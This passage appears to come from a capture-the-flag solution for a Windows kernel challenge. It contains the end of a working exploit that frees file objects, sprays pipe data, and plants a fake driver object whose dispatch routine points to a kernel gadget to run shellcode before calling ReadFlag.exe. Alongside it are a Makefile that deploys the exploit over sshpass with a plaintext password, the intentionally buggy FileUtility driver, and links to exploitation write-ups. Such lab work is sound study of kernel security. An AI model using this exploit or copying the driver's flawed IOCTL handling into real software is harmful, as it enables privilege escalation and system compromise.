((uint64_t *)fakeDev)[0x58 / 8] = 0x1F80;
((uint64_t *)fakeDev)[0x10 / 8] = (uint64_t)rc;

fakeDrv->MajorFunction[3] = kbase + _internal_longjmp_offset;

log("closing\n");
for (int i = 0; i < uaf_count; i++) {
CloseHandle(files[i].handle);
}

for (int i = 0; i < 0x800; i++) {
spray_unbuffered_pipe_data(conns[i].client, content, sizeof(content));
}

BP(2);

for (int i = 0; i < uaf_count; i++) {
files[i].addr = map_view_of_section(files[i].mapping);
}
log("views mapped\n");

log("kernel_shellcode = %llx\n", kernel_shellcode);
log("starting...\n");

BP(3);

log("at base: %d\n", *(volatile uint32_t *)files[0].addr);
log("done!\n");
return 0;
}

HANDLE make_exploit_thread() {
DWORD tid = 0;

HANDLE th = CreateThread(NULL, // default security attributes
0, // default stack size
exploit, // thread function
NULL, // argument to thread function
0, // run immediately
&tid); // thread id out

if (!th) {
log("CreateThread failed: %lu\n", GetLastError());
exit(1);
}

log("thread handle = %p, tid = %lu\n", th, tid);
return th;
}

int main() {
HANDLE expl = make_exploit_thread();

log("waiting...\n");
for (int i = 0; i < 5; i++) {
sleep(1);
log("flag?\n");
}

system("C:\\Windows\\ReadFlag.exe");
log("done\n");
while (1)
Yield();
}
MakefileMAKEFILE
CFLAGS += -O2 -masm=intel -g3 -flto

qemu: exploit
sshpass -p Password123_ scp -P 3000 -q exploit lowpriv@localhost:exploit.exe
sshpass -p Password123_ ssh -p 3000 -q lowpriv@localhost exploit.exe || rm exploit

remote: exploit
sshpass -p Password123_ scp -q exploit lowpriv@172.16.60.132:exploit.exe
sshpass -p Password123_ ssh -q lowpriv@172.16.60.132 exploit.exe || rm exploit

exploit: exploit.c Makefile
zig cc exploit.c exploit.s -o $@ -target x86_64-windows-gnu $(CFLAGS)
FileUtility/main.cC
// Based off of `sioctl.c` driver example in the WDK

//
// Include files.
//

#include <ntddk.h> // various NT definitions
#include <string.h>
#include "interface.h"



#define DRIVER_FUNC_INSTALL 0x01
#define DRIVER_FUNC_REMOVE 0x02

#define DRIVER_NAME "FileUtilityDriver"

#define NT_DEVICE_NAME L"\\Device\\FileUtility"
#define DOS_DEVICE_NAME L"\\DosDevices\\FileUtility"

#if DBG
#define FILEUTIL_KDPRINT(_x_) \
DbgPrint("FileUtil: ");\
DbgPrint _x_;

#else
#define FILEUTIL_KDPRINT(_x_)
#endif

//
// Device driver routine declarations.
//

DRIVER_INITIALIZE DriverEntry;

_Dispatch_type_(IRP_MJ_CREATE)
_Dispatch_type_(IRP_MJ_CLOSE)
DRIVER_DISPATCH FileUtilityCreateClose;

_Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
DRIVER_DISPATCH FileUtilityDeviceControl;

DRIVER_UNLOAD FileUtilityUnloadDriver;

VOID
PrintIrpInfo(
PIRP Irp
);
VOID
PrintChars(
_In_reads_(CountChars) PCHAR BufferAddress,
_In_ size_t CountChars
);

#ifdef ALLOC_PRAGMA
#pragma alloc_text( INIT, DriverEntry )
#pragma alloc_text( PAGE, FileUtilityCreateClose)
#pragma alloc_text( PAGE, FileUtilityDeviceControl)
#pragma alloc_text( PAGE, FileUtilityUnloadDriver)
#pragma alloc_text( PAGE, PrintIrpInfo)
#pragma alloc_text( PAGE, PrintChars)
#endif // ALLOC_PRAGMA


NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
/*++

Routine Description:
This routine is called by the Operating System to initialize the driver.

It creates the device object, fills in the dispatch entry points and
completes the initialization.

Arguments:
DriverObject - a pointer to the object that represents this device
driver.

RegistryPath - a pointer to our Services key in the registry.

Return Value:
STATUS_SUCCESS if initialized; an error otherwise.

--*/

{
NTSTATUS ntStatus;
UNICODE_STRING ntUnicodeString; // NT Device Name "\Device\FileUtility"
UNICODE_STRING ntWin32NameString; // Win32 Name "\DosDevices\FileUtility"
PDEVICE_OBJECT deviceObject = NULL; // ptr to device object

UNREFERENCED_PARAMETER(RegistryPath);

RtlInitUnicodeString(&ntUnicodeString, NT_DEVICE_NAME);

ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&ntUnicodeString, // Device name "\Device\FileUtility"
FILE_DEVICE_UNKNOWN, // Device type
FILE_DEVICE_SECURE_OPEN, // Device characteristics
FALSE, // Not an exclusive device
&deviceObject); // Returned ptr to Device Object

if (!NT_SUCCESS(ntStatus))
{
FILEUTIL_KDPRINT(("Couldn't create the device object\n"));
return ntStatus;
}

//
// Initialize the driver object with this driver's entry points.
//

DriverObject->MajorFunction[IRP_MJ_CREATE] = FileUtilityCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = FileUtilityCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FileUtilityDeviceControl;
DriverObject->DriverUnload = FileUtilityUnloadDriver;

//
// Initialize a Unicode String containing the Win32 name
// for our device.
//

RtlInitUnicodeString(&ntWin32NameString, DOS_DEVICE_NAME);

//
// Create a symbolic link between our device name and the Win32 name
//

ntStatus = IoCreateSymbolicLink(
&ntWin32NameString, &ntUnicodeString);

if (!NT_SUCCESS(ntStatus))
{
//
// Delete everything that this routine has allocated.
//
FILEUTIL_KDPRINT(("Couldn't create symbolic link\n"));
IoDeleteDevice(deviceObject);
}


return ntStatus;
}


NTSTATUS
FileUtilityCreateClose(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
/*++

Routine Description:

This routine is called by the I/O system when the FILEUTIL is opened or
closed.

No action is performed other than completing the request successfully.

Arguments:

DeviceObject - a pointer to the object that represents the device
that I/O is to be done on.

Irp - a pointer to the I/O Request Packet for this request.

Return Value:

NT status code

--*/

{
UNREFERENCED_PARAMETER(DeviceObject);

PAGED_CODE();

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return STATUS_SUCCESS;
}

VOID
FileUtilityUnloadDriver(
_In_ PDRIVER_OBJECT DriverObject
)
/*++

Routine Description:

This routine is called by the I/O system to unload the driver.

Any resources previously allocated must be freed.

Arguments:

DriverObject - a pointer to the object that represents our driver.

Return Value:

None
--*/

{
PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
UNICODE_STRING uniWin32NameString;

PAGED_CODE();

//
// Create counted string version of our Win32 device name.
//

RtlInitUnicodeString(&uniWin32NameString, DOS_DEVICE_NAME);


//
// Delete the link from our device name to a name in the Win32 namespace.
//

IoDeleteSymbolicLink(&uniWin32NameString);

if (deviceObject != NULL)
{
IoDeleteDevice(deviceObject);
}



}

NTSTATUS
FileUtilityDeviceControl(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)

/*++

Routine Description:

This routine is called by the I/O system to perform a device I/O
control function.

Arguments:

DeviceObject - a pointer to the object that represents the device
that I/O is to be done on.

Irp - a pointer to the I/O Request Packet for this request.

Return Value:

NT status code

--*/

{
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length


UNREFERENCED_PARAMETER(DeviceObject);

PAGED_CODE();

irpSp = IoGetCurrentIrpStackLocation(Irp);
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

// OutputBuffer must be present and point to userspace, size needs to be checked by each handler individually to match the desired struct
if (!Irp->UserBuffer || (INT64)Irp->UserBuffer < 0) {
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}


// We know that InputBuffer is a file handle for all handlers. Fetch the actual object now
if (inBufLength) {
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}

HANDLE fileHandle = (HANDLE)irpSp->Parameters.DeviceIoControl.Type3InputBuffer;

PFILE_OBJECT fileObject;
ntStatus = ObReferenceObjectByHandle(fileHandle, FILE_READ_ACCESS, *IoFileObjectType, UserMode, (PVOID*)&fileObject, NULL);
if (!NT_SUCCESS(ntStatus)) goto End;

#define CHECK_AND_CAST_OUTPUT(name, type) \
if (outBufLength != sizeof(type)) { \
ntStatus = STATUS_INFO_LENGTH_MISMATCH; \
ObDereferenceObject(fileHandle); \
goto End; \
} \
type* name = (type*) Irp->UserBuffer; \
memset(name, 0, sizeof(type))

//
// Determine which I/O control code was specified.
//
switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_ACCESS_INFORMATION);

info->ReadAccess = fileObject->ReadAccess;
info->WriteAccess = fileObject->WriteAccess;
info->DeleteAccess = fileObject->DeleteAccess;
ObDereferenceObject(fileObject);
}
case IOCTL_FILEUTIL_METHOD_GET_SHARING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_SHARING_INFORMATION);
info->SharedRead = fileObject->SharedRead;
info->SharedWrite = fileObject->SharedWrite;
info->SharedDelete = fileObject->SharedDelete;

ObDereferenceObject(fileObject);
break;
}
case IOCTL_FILEUTIL_METHOD_GET_CACHING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_CACHING_INFORMATION);

info->HasPrivateCache = !!fileObject->PrivateCacheMap;
if (fileObject->SectionObjectPointer) {
info->HasSectionAsData = !!fileObject->SectionObjectPointer->DataSectionObject;
info->HasSharedCache = !!fileObject->SectionObjectPointer->SharedCacheMap;
info->HasSectionAsImage = !!fileObject->SectionObjectPointer->ImageSectionObject;
}
ObDereferenceObject(fileObject);
break;
}
default:

//
// The specified I/O control code is unrecognized by this driver.
//

ntStatus = STATUS_INVALID_DEVICE_REQUEST;
FILEUTIL_KDPRINT(("ERROR: unrecognized IOCTL %x\n",
irpSp->Parameters.DeviceIoControl.IoControlCode));
ObDereferenceObject(fileObject);
break;
}

End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//

Irp->IoStatus.Status = ntStatus;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return ntStatus;
}
FileUtility/interface.hC
#pragma once
// Userspace-facing interface to the driver

// debug handlers give arbitrary alloc and R/W for debugging your exploit
// these are off on remote ;)
#define DEBUG_HANDLERS 0

// provide definition of CTL_CODE to userspace so it doesn't need to include ntddk.h
#ifndef CTL_CODE
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
#endif

// Device type -- in the "User Defined" range."
//
#define FILEUTIL_TYPE 40000
//
// The IOCTL function codes from 0x800 to 0xFFF are for customer use.
#define FILEUTIL_FUNCTION_CODE_BASE 0x800


// File Utitlity IOCTL calling convention (excluding debug handlers)
// All of the IOCTLs are called in the same way:
// - File handle is passed _directly_ as the `InputBuffer` parameter. Don't pass a userspace pointer to the handle, but instead cast the handle to (PVOID) and pass it directly.
// Accordingly, `InputBufferSize` is set to 0
// - The OutputBuffer will be the corresponding FILEUTIL_*_INFORMATION struct depending on the method. The pointer must be a userspace pointer to such a struct,
// and the OutputSize must match sizeof() the struct.

#define FILEUTIL_IOCTL(FunctionCode) \
CTL_CODE( FILEUTIL_TYPE, ( FILEUTIL_FUNCTION_CODE_BASE + FunctionCode ) , METHOD_NEITHER , FILE_ANY_ACCESS )

#define IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION FILEUTIL_IOCTL(0)
#define IOCTL_FILEUTIL_METHOD_GET_SHARING_INFORMATION FILEUTIL_IOCTL(1)
#define IOCTL_FILEUTIL_METHOD_GET_CACHING_INFORMATION FILEUTIL_IOCTL(2)


typedef struct _FILEUTIL_ACCESS_INFORMATION {
UCHAR ReadAccess;
UCHAR WriteAccess;
UCHAR DeleteAccess;
} FILEUTIL_ACCESS_INFORMATION, *PFILEUTIL_ACCESS_INFORMATION;

typedef struct _FILEUTIL_SHARING_INFORMATION {
UCHAR SharedRead;
UCHAR SharedWrite;
UCHAR SharedDelete;
} FILEUTIL_SHARING_INFORMATION, *PFILEUTIL_SHARING_INFORMATION;

typedef struct _FILEUTIL_CACHING_INFORMATION {
UCHAR HasPrivateCache;
UCHAR HasSharedCache;
UCHAR HasSectionAsData;
UCHAR HasSectionAsImage;
} FILEUTIL_CACHING_INFORMATION, *PFILEUTIL_CACHING_INFORMATION;

#References

You can see which links came from GPT from the utm_source=chatgpt.com.

https://starlabs.sg/blog/2025/03-cimfs-crashing-in-memory-finding-system-kernel-edition/

https://blog.slowerzs.net/posts/keyjumper/?utm_source=chatgpt.com

https://github.com/Slowerzs/KeyJumper/blob/main/src/launcher/keylog.c

https://xacone.github.io/kaslr_leak_24h2.html

https://devblogs.microsoft.com/oldnewthing/20210510-00/?p=105200&utm_source=chatgpt.com

https://windows-internals.com/category/windows-internals/

https://hackyboiz.github.io/2025/04/13/l0ch/bypassing-kernel-mitigation-part0/en/?utm_source=chatgpt.com

https://www.crowdfense.com/nt-os-kernel-information-disclosure-vulnerability-cve-2025-53136/?utm_source=chatgpt.com

https://jxy-s.github.io/herpaderping/res/DivingDeeper.html

https://www.tiraniddo.dev/2020/02/dll-import-redirection-in-windows-10_8.html

https://projectzero.google/2017/08/bypassing-virtualbox-process-hardening.html

https://jle-k.com/blog/Exploiting+CVE-2026-21241#Bit-Manipulation%20Primitive

https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/

https://exploits.forsale/24h2-nt-exploit/

https://github.com/exploits-forsale/prefetch-tool/blob/main/prefetch_tool/prefetch_leak.h

https://starlabs.sg/blog/2025/03-star-labs-windows-exploitation-challenge-2025-writeup/?utm_source=chatgpt.com

https://insideyourkernel.com/2025-03-22-windows-11-x64-kernel-exploitation-nonpaged-pool-overflow-using-hevd-part-1-arbitrary-read.html?utm_source=chatgpt.com

https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/readme.md?utm_source=chatgpt.com

https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/exploits/CVE-2020-17087.cpp

https://www.alex-ionescu.com/kernel-heap-spraying-like-its-2015-swimming-in-the-big-kids-pool/

https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-17087.html?utm_source=chatgpt.com

https://wiki.osdev.org/Paging

https://0dr3f.github.io/Demystifying_Physical_Memory_Primitive_Exploitation_on_Windows

https://blog.xenoscr.net/2021/09/06/Exploring-Virtual-Memory-and-Page-Structures.html